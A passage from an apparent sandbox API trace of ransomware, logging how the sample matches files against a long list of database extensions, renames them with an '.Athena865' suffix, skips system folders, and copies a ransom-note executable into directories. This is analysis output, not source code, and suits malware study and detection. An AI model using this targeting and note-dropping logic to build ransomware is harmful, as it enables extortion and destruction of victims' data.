(lpString="vbox") returned 4 [0098.265] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1 [0098.265] lstrlenW (lpString="vdi") returned 3 [0098.265] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1 [0098.265] lstrlenW (lpString="vhd") returned 3 [0098.265] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1 [0098.265] lstrlenW (lpString="vhdx") returned 4 [0098.265] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1 [0098.265] lstrlenW (lpString="avhd") returned 4 [0098.265] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1 [0098.265] lstrlenW (lpString="db") returned 2 [0098.265] lstrcmpiW (lpString1="at", lpString2="db") returned -1 [0098.265] lstrlenW (lpString="db2") returned 3 [0098.265] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1 [0098.265] lstrlenW (lpString="db3") returned 3 [0098.265] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1 [0098.265] lstrlenW (lpString="dbf") returned 3 [0098.265] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1 [0098.265] lstrlenW (lpString="mdf") returned 3 [0098.265] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1 [0098.266] lstrlenW (lpString="mdb") returned 3 [0098.266] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1 [0098.266] lstrlenW (lpString="sql") returned 3 [0098.266] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1 [0098.266] lstrlenW (lpString="sqlite") returned 6 [0098.266] lstrcmpiW (lpString1="xz.dat", lpString2="sqlite") returned 1 [0098.266] lstrlenW (lpString="sqlite3") returned 7 [0098.266] lstrcmpiW (lpString1="cxz.dat", lpString2="sqlite3") returned -1 [0098.266] lstrlenW (lpString="sqlitedb") returned 8 [0098.266] lstrcmpiW (lpString1="mcxz.dat", lpString2="sqlitedb") returned -1 [0098.266] lstrlenW (lpString="xml") returned 3 [0098.266] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1 [0098.266] lstrlenW (lpString="$er") returned 3 [0098.266] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1 [0098.266] lstrlenW (lpString="4dd") returned 3 [0098.266] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1 [0098.266] lstrlenW (lpString="4dl") returned 3 [0098.266] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1 [0098.266] lstrlenW (lpString="^^^") returned 3 [0098.266] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1 [0098.266] lstrlenW (lpString="abs") returned 3 [0098.266] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1 [0098.266] lstrlenW (lpString="abx") returned 3 [0098.266] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1 [0098.266] lstrlenW (lpString="accdb") returned 5 [0098.267] lstrcmpiW (lpString1="z.dat", lpString2="accdb") returned 1 [0098.267] lstrlenW (lpString="accdc") returned 5 [0098.267] lstrcmpiW (lpString1="z.dat", lpString2="accdc") returned 1 [0098.267] lstrlenW (lpString="accde") returned 5 [0098.267] lstrcmpiW (lpString1="z.dat", lpString2="accde") returned 1 [0098.267] lstrlenW (lpString="accdr") returned 5 [0098.267] lstrcmpiW (lpString1="z.dat", lpString2="accdr") returned 1 [0098.267] lstrlenW (lpString="accdt") returned 5 [0098.267] lstrcmpiW (lpString1="z.dat", lpString2="accdt") returned 1 [0098.267] lstrlenW (lpString="accdw") returned 5 [0098.267] lstrcmpiW (lpString1="z.dat", lpString2="accdw") returned 1 [0098.267] lstrlenW (lpString="accft") returned 5 [0098.267] lstrcmpiW (lpString1="z.dat", lpString2="accft") returned 1 [0098.267] lstrlenW (lpString="adb") returned 3 [0098.267] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1 [0098.267] lstrlenW (lpString="adb") returned 3 [0098.267] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1 [0098.267] lstrlenW (lpString="ade") returned 3 [0098.267] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1 [0098.267] lstrlenW (lpString="adf") returned 3 [0098.267] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1 [0098.267] lstrlenW (lpString="adn") returned 3 [0098.267] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1 [0098.267] lstrlenW (lpString="adp") returned 3 [0098.267] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1 [0098.267] lstrlenW (lpString="alf") returned 3 [0098.267] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1 [0098.267] lstrlenW (lpString="ask") returned 3 [0098.268] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1 [0098.268] lstrlenW (lpString="btr") returned 3 [0098.268] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1 [0098.268] lstrlenW (lpString="cat") returned 3 [0098.268] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1 [0098.268] lstrlenW (lpString="cdb") returned 3 [0098.268] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1 [0098.268] lstrlenW (lpString="ckp") returned 3 [0098.268] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1 [0098.268] lstrlenW (lpString="cma") returned 3 [0098.268] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1 [0098.268] lstrlenW (lpString="cpd") returned 3 [0098.268] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1 [0098.268] lstrlenW (lpString="dacpac") returned 6 [0098.268] lstrcmpiW (lpString1="xz.dat", lpString2="dacpac") returned 1 [0098.268] lstrlenW (lpString="dad") returned 3 [0098.268] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1 [0098.268] lstrlenW (lpString="dadiagrams") returned 10 [0098.268] lstrcmpiW (lpString1="LPmcxz.dat", lpString2="dadiagrams") returned 1 [0098.268] lstrlenW (lpString="daschema") returned 8 [0098.268] lstrcmpiW (lpString1="mcxz.dat", lpString2="daschema") returned 1 [0098.268] lstrlenW (lpString="db-journal") returned 10 [0098.268] lstrcmpiW (lpString1="LPmcxz.dat", lpString2="db-journal") returned 1 [0098.268] lstrlenW (lpString="db-shm") returned 6 [0098.268] lstrcmpiW (lpString1="xz.dat", lpString2="db-shm") returned 1 [0098.268] lstrlenW (lpString="db-wal") returned 6 [0098.268] lstrcmpiW (lpString1="xz.dat", lpString2="db-wal") returned 1 [0098.268] lstrlenW (lpString="dbc") returned 3 [0098.268] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1 [0098.268] lstrlenW (lpString="dbs") returned 3 [0098.269] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1 [0098.269] lstrlenW (lpString="dbt") returned 3 [0098.269] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1 [0098.269] lstrlenW (lpString="dbv") returned 3 [0098.269] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1 [0098.269] lstrlenW (lpString="dbx") returned 3 [0098.269] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1 [0098.269] lstrlenW (lpString="dcb") returned 3 [0098.269] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1 [0098.269] lstrlenW (lpString="dct") returned 3 [0098.269] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1 [0098.269] lstrlenW (lpString="dcx") returned 3 [0098.269] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1 [0098.269] lstrlenW (lpString="ddl") returned 3 [0098.269] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1 [0098.269] lstrlenW (lpString="dlis") returned 4 [0098.269] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1 [0098.269] lstrlenW (lpString="dp1") returned 3 [0098.269] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1 [0098.269] lstrlenW (lpString="dqy") returned 3 [0098.269] lstrcmpiW (lpString1="dat", lpString2="dqy") returned -1 [0098.269] lstrlenW (lpString="dsk") returned 3 [0098.269] lstrcmpiW (lpString1="dat", lpString2="dsk") returned -1 [0098.269] lstrlenW (lpString="dsn") returned 3 [0098.269] lstrcmpiW (lpString1="dat", lpString2="dsn") returned -1 [0098.269] lstrlenW (lpString="dtsx") returned 4 [0098.269] lstrcmpiW (lpString1=".dat", lpString2="dtsx") returned -1 [0098.269] lstrlenW (lpString="dxl") returned 3 [0098.269] lstrcmpiW (lpString1="dat", lpString2="dxl") returned -1 [0098.270] lstrlenW (lpString="eco") returned 3 [0098.270] lstrcmpiW (lpString1="dat", lpString2="eco") returned -1 [0098.270] lstrlenW (lpString="ecx") returned 3 [0098.270] lstrcmpiW (lpString1="dat", lpString2="ecx") returned -1 [0098.270] lstrlenW (lpString="edb") returned 3 [0098.270] lstrcmpiW (lpString1="dat", lpString2="edb") returned -1 [0098.270] lstrlenW (lpString="epim") returned 4 [0098.270] lstrcmpiW (lpString1=".dat", lpString2="epim") returned -1 [0098.270] lstrlenW (lpString="fcd") returned 3 [0098.270] lstrcmpiW (lpString1="dat", lpString2="fcd") returned -1 [0098.270] lstrlenW (lpString="fdb") returned 3 [0098.270] lstrcmpiW (lpString1="dat", lpString2="fdb") returned -1 [0098.270] lstrlenW (lpString="fic") returned 3 [0098.270] lstrcmpiW (lpString1="dat", lpString2="fic") returned -1 [0098.270] lstrlenW (lpString="flexolibrary") returned 12 [0098.270] lstrcmpiW (lpString1="HALPmcxz.dat", lpString2="flexolibrary") returned 1 [0098.270] lstrlenW (lpString="fm5") returned 3 [0098.270] lstrcmpiW (lpString1="dat", lpString2="fm5") returned -1 [0098.270] lstrlenW (lpString="fmp") returned 3 [0098.270] lstrcmpiW (lpString1="dat", lpString2="fmp") returned -1 [0098.270] lstrlenW (lpString="fmp12") returned 5 [0098.270] lstrcmpiW (lpString1="z.dat", lpString2="fmp12") returned 1 [0098.270] lstrlenW (lpString="fmpsl") returned 5 [0098.270] lstrcmpiW (lpString1="z.dat", lpString2="fmpsl") returned 1 [0098.270] lstrlenW (lpString="fol") returned 3 [0098.270] lstrcmpiW (lpString1="dat", lpString2="fol") returned -1 [0098.270] lstrlenW (lpString="fp3") returned 3 [0098.270] lstrcmpiW (lpString1="dat", lpString2="fp3") returned -1 [0098.270] lstrlenW (lpString="fp4") returned 3 [0098.271] lstrcmpiW (lpString1="dat", lpString2="fp4") returned -1 [0098.271] lstrlenW (lpString="fp5") returned 3 [0098.271] lstrcmpiW (lpString1="dat", lpString2="fp5") returned -1 [0098.271] lstrlenW (lpString="fp7") returned 3 [0098.271] lstrcmpiW (lpString1="dat", lpString2="fp7") returned -1 [0098.271] lstrlenW (lpString="fpt") returned 3 [0098.271] lstrcmpiW (lpString1="dat", lpString2="fpt") returned -1 [0098.271] lstrlenW (lpString="frm") returned 3 [0098.271] lstrcmpiW (lpString1="dat", lpString2="frm") returned -1 [0098.271] lstrlenW (lpString="gdb") returned 3 [0098.271] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1 [0098.271] lstrlenW (lpString="gdb") returned 3 [0098.271] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1 [0098.271] lstrlenW (lpString="grdb") returned 4 [0098.271] lstrcmpiW (lpString1=".dat", lpString2="grdb") returned -1 [0098.271] lstrlenW (lpString="gwi") returned 3 [0098.271] lstrcmpiW (lpString1="dat", lpString2="gwi") returned -1 [0098.271] lstrlenW (lpString="hdb") returned 3 [0098.271] lstrcmpiW (lpString1="dat", lpString2="hdb") returned -1 [0098.271] lstrlenW (lpString="his") returned 3 [0098.271] lstrcmpiW (lpString1="dat", lpString2="his") returned -1 [0098.271] lstrlenW (lpString="ib") returned 2 [0098.271] lstrcmpiW (lpString1="at", lpString2="ib") returned -1 [0098.271] lstrlenW (lpString="idb") returned 3 [0098.271] lstrcmpiW (lpString1="dat", lpString2="idb") returned -1 [0098.271] lstrlenW (lpString="ihx") returned 3 [0098.271] lstrcmpiW (lpString1="dat", lpString2="ihx") returned -1 [0098.271] lstrlenW (lpString="itdb") returned 4 [0098.271] lstrcmpiW (lpString1=".dat", lpString2="itdb") returned -1 [0098.271] lstrlenW (lpString="itw") returned 3 [0098.272] lstrcmpiW (lpString1="dat", lpString2="itw") returned -1 [0098.272] lstrlenW (lpString="jet") returned 3 [0098.272] lstrcmpiW (lpString1="dat", lpString2="jet") returned -1 [0098.272] lstrlenW (lpString="jtx") returned 3 [0098.272] lstrcmpiW (lpString1="dat", lpString2="jtx") returned -1 [0098.272] lstrlenW (lpString="kdb") returned 3 [0098.272] lstrcmpiW (lpString1="dat", lpString2="kdb") returned -1 [0098.272] lstrlenW (lpString="kexi") returned 4 [0098.272] lstrcmpiW (lpString1=".dat", lpString2="kexi") returned -1 [0098.272] lstrlenW (lpString="kexic") returned 5 [0098.272] lstrcmpiW (lpString1="z.dat", lpString2="kexic") returned 1 [0098.272] lstrlenW (lpString="kexis") returned 5 [0098.272] lstrcmpiW (lpString1="z.dat", lpString2="kexis") returned 1 [0098.272] lstrlenW (lpString="lgc") returned 3 [0098.272] lstrcmpiW (lpString1="dat", lpString2="lgc") returned -1 [0098.272] lstrlenW (lpString="lwx") returned 3 [0098.272] lstrcmpiW (lpString1="dat", lpString2="lwx") returned -1 [0098.272] lstrlenW (lpString="maf") returned 3 [0098.272] lstrcmpiW (lpString1="dat", lpString2="maf") returned -1 [0098.272] lstrlenW (lpString="maq") returned 3 [0098.272] lstrcmpiW (lpString1="dat", lpString2="maq") returned -1 [0098.272] lstrlenW (lpString="mar") returned 3 [0098.272] lstrcmpiW (lpString1="dat", lpString2="mar") returned -1 [0098.272] lstrlenW (lpString="marshal") returned 7 [0098.272] lstrcmpiW (lpString1="cxz.dat", lpString2="marshal") returned -1 [0098.272] lstrlenW (lpString="mas") returned 3 [0098.272] lstrcmpiW (lpString1="dat", lpString2="mas") returned -1 [0098.272] lstrlenW (lpString="mav") returned 3 [0098.272] lstrcmpiW (lpString1="dat", lpString2="mav") returned -1 [0098.272] lstrlenW (lpString="maw") returned 3 [0098.273] lstrcmpiW (lpString1="dat", lpString2="maw") returned -1 [0098.273] lstrlenW (lpString="mdbhtml") returned 7 [0098.273] lstrcmpiW (lpString1="cxz.dat", lpString2="mdbhtml") returned -1 [0098.273] lstrlenW (lpString="mdn") returned 3 [0098.273] lstrcmpiW (lpString1="dat", lpString2="mdn") returned -1 [0098.273] lstrlenW (lpString="mdt") returned 3 [0098.273] lstrcmpiW (lpString1="dat", lpString2="mdt") returned -1 [0098.273] lstrlenW (lpString="mfd") returned 3 [0098.273] lstrcmpiW (lpString1="dat", lpString2="mfd") returned -1 [0098.273] lstrlenW (lpString="mpd") returned 3 [0098.273] lstrcmpiW (lpString1="dat", lpString2="mpd") returned -1 [0098.273] lstrlenW (lpString="mrg") returned 3 [0098.273] lstrcmpiW (lpString1="dat", lpString2="mrg") returned -1 [0098.273] lstrlenW (lpString="mud") returned 3 [0098.273] lstrcmpiW (lpString1="dat", lpString2="mud") returned -1 [0098.273] lstrlenW (lpString="mwb") returned 3 [0098.273] lstrcmpiW (lpString1="dat", lpString2="mwb") returned -1 [0098.273] lstrlenW (lpString="myd") returned 3 [0098.273] lstrcmpiW (lpString1="dat", lpString2="myd") returned -1 [0098.273] lstrlenW (lpString="ndf") returned 3 [0098.273] lstrcmpiW (lpString1="dat", lpString2="ndf") returned -1 [0098.273] lstrlenW (lpString="nnt") returned 3 [0098.273] lstrcmpiW (lpString1="dat", lpString2="nnt") returned -1 [0098.273] lstrlenW (lpString="nrmlib") returned 6 [0098.273] lstrcmpiW (lpString1="xz.dat", lpString2="nrmlib") returned 1 [0098.273] lstrlenW (lpString="ns2") returned 3 [0098.273] lstrcmpiW (lpString1="dat", lpString2="ns2") returned -1 [0098.273] lstrlenW (lpString="ns3") returned 3 [0098.273] lstrcmpiW (lpString1="dat", lpString2="ns3") returned -1 [0098.274] lstrlenW (lpString="ns4") returned 3 [0098.274] lstrcmpiW (lpString1="dat", lpString2="ns4") returned -1 [0098.274] lstrlenW (lpString="nsf") returned 3 [0098.274] lstrcmpiW (lpString1="dat", lpString2="nsf") returned -1 [0098.274] lstrlenW (lpString="nv") returned 2 [0098.274] lstrcmpiW (lpString1="at", lpString2="nv") returned -1 [0098.274] lstrlenW (lpString="nv2") returned 3 [0098.274] lstrcmpiW (lpString1="dat", lpString2="nv2") returned -1 [0098.274] lstrlenW (lpString="nwdb") returned 4 [0098.274] lstrcmpiW (lpString1=".dat", lpString2="nwdb") returned -1 [0098.274] lstrlenW (lpString="nyf") returned 3 [0098.274] lstrcmpiW (lpString1="dat", lpString2="nyf") returned -1 [0098.274] lstrlenW (lpString="odb") returned 3 [0098.274] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1 [0098.274] lstrlenW (lpString="odb") returned 3 [0098.274] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1 [0098.274] lstrlenW (lpString="oqy") returned 3 [0098.274] lstrcmpiW (lpString1="dat", lpString2="oqy") returned -1 [0098.274] lstrlenW (lpString="ora") returned 3 [0098.274] lstrcmpiW (lpString1="dat", lpString2="ora") returned -1 [0098.274] lstrlenW (lpString="orx") returned 3 [0098.274] lstrcmpiW (lpString1="dat", lpString2="orx") returned -1 [0098.274] lstrlenW (lpString="owc") returned 3 [0098.274] lstrcmpiW (lpString1="dat", lpString2="owc") returned -1 [0098.274] lstrlenW (lpString="p96") returned 3 [0098.274] lstrcmpiW (lpString1="dat", lpString2="p96") returned -1 [0098.274] lstrlenW (lpString="p97") returned 3 [0098.274] lstrcmpiW (lpString1="dat", lpString2="p97") returned -1 [0098.274] lstrlenW (lpString="pan") returned 3 [0098.275] lstrcmpiW (lpString1="dat", lpString2="pan") returned -1 [0098.275] lstrlenW (lpString="pdb") returned 3 [0098.275] lstrcmpiW (lpString1="dat", lpString2="pdb") returned -1 [0098.275] lstrlenW (lpString="pdm") returned 3 [0098.275] lstrcmpiW (lpString1="dat", lpString2="pdm") returned -1 [0098.275] lstrlenW (lpString="pnz") returned 3 [0098.275] lstrcmpiW (lpString1="dat", lpString2="pnz") returned -1 [0098.275] lstrlenW (lpString="qry") returned 3 [0098.275] lstrcmpiW (lpString1="dat", lpString2="qry") returned -1 [0098.275] lstrlenW (lpString="qvd") returned 3 [0098.275] lstrcmpiW (lpString1="dat", lpString2="qvd") returned -1 [0098.275] lstrlenW (lpString="rbf") returned 3 [0098.275] lstrcmpiW (lpString1="dat", lpString2="rbf") returned -1 [0098.275] lstrlenW (lpString="rctd") returned 4 [0098.275] lstrcmpiW (lpString1=".dat", lpString2="rctd") returned -1 [0098.275] lstrlenW (lpString="rod") returned 3 [0098.275] lstrcmpiW (lpString1="dat", lpString2="rod") returned -1 [0098.275] lstrlenW (lpString="rodx") returned 4 [0098.275] lstrcmpiW (lpString1=".dat", lpString2="rodx") returned -1 [0098.275] lstrlenW (lpString="rpd") returned 3 [0098.275] lstrcmpiW (lpString1="dat", lpString2="rpd") returned -1 [0098.275] lstrlenW (lpString="rsd") returned 3 [0098.275] lstrcmpiW (lpString1="dat", lpString2="rsd") returned -1 [0098.275] lstrlenW (lpString="sas7bdat") returned 8 [0098.275] lstrcmpiW (lpString1="mcxz.dat", lpString2="sas7bdat") returned -1 [0098.275] lstrlenW (lpString="sbf") returned 3 [0098.275] lstrcmpiW (lpString1="dat", lpString2="sbf") returned -1 [0098.275] lstrlenW (lpString="scx") returned 3 [0098.275] lstrcmpiW (lpString1="dat", lpString2="scx") returned -1 [0098.275] lstrlenW (lpString="sdb") returned 3 [0098.276] lstrcmpiW (lpString1="dat", lpString2="sdb") returned -1 [0098.276] lstrlenW (lpString="sdc") returned 3 [0098.276] lstrcmpiW (lpString1="dat", lpString2="sdc") returned -1 [0098.276] lstrlenW (lpString="sdf") returned 3 [0098.276] lstrcmpiW (lpString1="dat", lpString2="sdf") returned -1 [0098.276] lstrlenW (lpString="sis") returned 3 [0098.276] lstrcmpiW (lpString1="dat", lpString2="sis") returned -1 [0098.276] lstrlenW (lpString="spq") returned 3 [0098.276] lstrcmpiW (lpString1="dat", lpString2="spq") returned -1 [0098.276] lstrlenW (lpString="te") returned 2 [0098.276] lstrcmpiW (lpString1="at", lpString2="te") returned -1 [0098.276] lstrlenW (lpString="teacher") returned 7 [0098.276] lstrcmpiW (lpString1="cxz.dat", lpString2="teacher") returned -1 [0098.276] lstrlenW (lpString="tmd") returned 3 [0098.276] lstrcmpiW (lpString1="dat", lpString2="tmd") returned -1 [0098.276] lstrlenW (lpString="tps") returned 3 [0098.276] lstrcmpiW (lpString1="dat", lpString2="tps") returned -1 [0098.276] lstrlenW (lpString="trc") returned 3 [0098.276] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1 [0098.276] lstrlenW (lpString="trc") returned 3 [0098.276] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1 [0098.276] lstrlenW (lpString="trm") returned 3 [0098.276] lstrcmpiW (lpString1="dat", lpString2="trm") returned -1 [0098.276] lstrlenW (lpString="udb") returned 3 [0098.276] lstrcmpiW (lpString1="dat", lpString2="udb") returned -1 [0098.276] lstrlenW (lpString="udl") returned 3 [0098.276] lstrcmpiW (lpString1="dat", lpString2="udl") returned -1 [0098.276] lstrlenW (lpString="usr") returned 3 [0098.276] lstrcmpiW (lpString1="dat", lpString2="usr") returned -1 [0098.277] lstrlenW (lpString="v12") returned 3 [0098.277] lstrcmpiW (lpString1="dat", lpString2="v12") returned -1 [0098.277] lstrlenW (lpString="vis") returned 3 [0098.277] lstrcmpiW (lpString1="dat", lpString2="vis") returned -1 [0098.277] lstrlenW (lpString="vpd") returned 3 [0098.277] lstrcmpiW (lpString1="dat", lpString2="vpd") returned -1 [0098.277] lstrlenW (lpString="vvv") returned 3 [0098.277] lstrcmpiW (lpString1="dat", lpString2="vvv") returned -1 [0098.277] lstrlenW (lpString="wdb") returned 3 [0098.277] lstrcmpiW (lpString1="dat", lpString2="wdb") returned -1 [0098.277] lstrlenW (lpString="wmdb") returned 4 [0098.277] lstrcmpiW (lpString1=".dat", lpString2="wmdb") returned -1 [0098.277] lstrlenW (lpString="wrk") returned 3 [0098.277] lstrcmpiW (lpString1="dat", lpString2="wrk") returned -1 [0098.277] lstrlenW (lpString="xdb") returned 3 [0098.277] lstrcmpiW (lpString1="dat", lpString2="xdb") returned -1 [0098.277] lstrlenW (lpString="xld") returned 3 [0098.277] lstrcmpiW (lpString1="dat", lpString2="xld") returned -1 [0098.277] lstrlenW (lpString="xmlff") returned 5 [0098.277] lstrcmpiW (lpString1="z.dat", lpString2="xmlff") returned 1 [0098.277] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat.Athena865") returned 81 [0098.277] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\5p5nrgjn0js halpmcxz.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat.Athena865" (normalized: "c:\\programdata\\microsoft\\user account pictures\\5p5nrgjn0js halpmcxz.dat.athena865"), dwFlags=0x1) returned 1 [0098.278] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat.Athena865" (normalized: "c:\\programdata\\microsoft\\user account pictures\\5p5nrgjn0js halpmcxz.dat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0098.278] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=0) returned 1 [0098.278] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat.Athena865" (normalized: "c:\\programdata\\microsoft\\user account pictures\\5p5nrgjn0js halpmcxz.dat.athena865"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\5p5nrgjn0js halpmcxz.dat"), dwFlags=0x1) returned 0 [0098.279] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0098.279] CloseHandle (hObject=0x0) returned 0 [0098.279] CloseHandle (hObject=0x17c) returned 1 [0098.279] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default Pictures", cAlternateFileName="DEFAUL~1")) returned 1 [0098.279] lstrcmpiW (lpString1="Default Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.279] lstrcmpiW (lpString1="Default Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.279] lstrcmpiW (lpString1="Default Pictures", lpString2=".") returned 1 [0098.279] lstrcmpiW (lpString1="Default Pictures", lpString2="..") returned 1 [0098.279] lstrcmpiW (lpString1="Default Pictures", lpString2="windows") returned -1 [0098.279] lstrcmpiW (lpString1="Default Pictures", lpString2="bootmgr") returned 1 [0098.279] lstrcmpiW (lpString1="Default Pictures", lpString2="temp") returned -1 [0098.279] lstrcmpiW (lpString1="Default Pictures", lpString2="pagefile.sys") returned -1 [0098.279] lstrcmpiW (lpString1="Default Pictures", lpString2="boot") returned 1 [0098.279] lstrcmpiW (lpString1="Default Pictures", lpString2="ids.txt") returned -1 [0098.279] lstrcmpiW (lpString1="Default Pictures", lpString2="ntuser.dat") returned -1 [0098.279] lstrcmpiW (lpString1="Default Pictures", lpString2="perflogs") returned -1 [0098.279] lstrcmpiW (lpString1="Default Pictures", lpString2="MSBuild") returned -1 [0098.279] lstrlenW (lpString="Default Pictures") returned 16 [0098.279] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Default Pictures" | out: lpString1="Default Pictures") returned="Default Pictures" [0098.279] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530ce0 [0098.279] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x51a080 [0098.279] lstrcatW (in: lpString1="Default Pictures", lpString2="\\" | out: lpString1="Default Pictures\\") returned="Default Pictures\\" [0098.279] lstrcatW (in: lpString1="Default Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Default Pictures\\HOW TO BACK YOUR FILES.exe") returned="Default Pictures\\HOW TO BACK YOUR FILES.exe" [0098.279] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.284] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="guest.bmp", cAlternateFileName="")) returned 1 [0098.284] lstrcmpiW (lpString1="guest.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.284] lstrcmpiW (lpString1="guest.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.284] lstrcmpiW (lpString1="guest.bmp", lpString2=".") returned 1 [0098.284] lstrcmpiW (lpString1="guest.bmp", lpString2="..") returned 1 [0098.284] lstrcmpiW (lpString1="guest.bmp", lpString2="windows") returned -1 [0098.284] lstrcmpiW (lpString1="guest.bmp", lpString2="bootmgr") returned 1 [0098.284] lstrcmpiW (lpString1="guest.bmp", lpString2="temp") returned -1 [0098.284] lstrcmpiW (lpString1="guest.bmp", lpString2="pagefile.sys") returned -1 [0098.284] lstrcmpiW (lpString1="guest.bmp", lpString2="boot") returned 1 [0098.284] lstrcmpiW (lpString1="guest.bmp", lpString2="ids.txt") returned -1 [0098.284] lstrcmpiW (lpString1="guest.bmp", lpString2="ntuser.dat") returned -1 [0098.284] lstrcmpiW (lpString1="guest.bmp", lpString2="perflogs") returned -1 [0098.284] lstrcmpiW (lpString1="guest.bmp", lpString2="MSBuild") returned -1 [0098.284] lstrlenW (lpString="guest.bmp") returned 9 [0098.284] lstrcpyW (in: lpString1=0x241e8a6, lpString2="guest.bmp" | out: lpString1="guest.bmp") returned="guest.bmp" [0098.284] lstrlenW (lpString="guest.bmp") returned 9 [0098.284] lstrlenW (lpString="Athena865") returned 9 [0098.285] lstrlenW (lpString=".dll") returned 4 [0098.285] lstrcmpiW (lpString1="guest.bmp", lpString2=".dll") returned 1 [0098.285] lstrlenW (lpString=".lnk") returned 4 [0098.285] lstrcmpiW (lpString1="guest.bmp", lpString2=".lnk") returned 1 [0098.285] lstrlenW (lpString=".ini") returned 4 [0098.285] lstrcmpiW (lpString1="guest.bmp", lpString2=".ini") returned 1 [0098.285] lstrlenW 